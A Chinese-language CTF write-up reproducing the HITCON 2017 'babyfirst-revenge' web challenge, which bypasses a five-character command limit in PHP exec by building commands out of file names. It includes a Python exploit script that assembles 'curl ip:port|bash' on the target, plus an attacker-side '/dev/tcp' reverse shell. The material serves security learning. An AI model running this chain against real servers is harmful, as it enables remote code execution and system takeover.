HITCON2017 web 复现

这个好像是台湾的一个ctf,里面的题也难得一批orz

babyfirst-revenge

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

读源码,是通过ip来创建沙盒,通过reset可以将盒子里所有文件删掉,cmd可以执行命令,不过命令长度最多只能为5位

可以看看这篇文章小密圈里的那些奇技淫巧

首先我们要知道

在linux中,可以通过>来创建文件

然后还可以通过\来连接命令

还能通过ls>x将目录写入文件之中

还有能用sh x来执行文件中的命令

于是这题的做法就是,将要执行的命令分成几段,用>创建为文件。同时除了最后一部分,其他部分都要以\结尾。然后再通过ls>x写入文件中,最终通过sh x执行

但ls是按照字典序来排序的,会比较难以利用,于是最好是能先构造出ls -t以时间顺序排序,这样会比较好利用

于是根据ls的排序,我们可以

这里可以看到,尽管是按照字典序,但实际上ls的排序还是会受到环境变量LC_COLLATE的影响。不过这题的是php的脚本,php执行生成的序列顺序默认为C,于是我们可以直接使用

1
2
3
4
5
6
>ls\\ 
ls>_ 先将ls\写入_中,以使顺序没问题
>\ \\
>-t\\
>\>g
ls>>_ 不覆盖写入_中

这样之后_中就是

1
2
3
4
5
6
7
_
ls\
\
-t\
>g
_
ls\

这样ls -t>g就构造完了,当我们要使用这个命令时sh g即可。这里虽然并不都是正确的命令,但也就错误的报错,正确的依旧执行

然后我们就构造
curl ip:prot|bash
去获取shell

当然不可能一个个访问,写个脚本跑一波。这里要注意curl处要倒过来,因为要按时间顺序的话是从后到前的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*- 
import requests

payload = [

#ls -t>g
'>ls\\\\',
'ls>_',
'>\\ \\\\',
'>-t\\\\',
'>\\>g',
'ls>>_',

#curl xxx.xx.xxx.x:xxxx|bash
'>sh',
'>ba\\\\',
'>\\|\\\\',
'>x\\\\',
'>xx\\\\',
'>:x\\\\',
'>x\\\\',
'>x.\\\\',
'>xx\\\\',
'>x.\\\\',
'>x\\\\',
'>x.\\\\',
'>xx\\\\',
'>\\ \\\\',
'>rl\\\\',
'>cu\\\\',

#执行命令
'sh _',
'sh g'
]

url = "http://117.50.3.97:8001/?cmd="

requests.get(url.replace("cmd=","reset=1"))

for i in payload:
requests.get(url+i)

然后再服务器端布置
bash -i >& /dev/tcp/ip/port 0>&1

然后在服务器上监听该端口获取shell

然后在/home/fl4444g中读取README.md

得知flag在数据库中,于是登录数据库
这里有点奇怪的是必须要exit才会获得返回的结果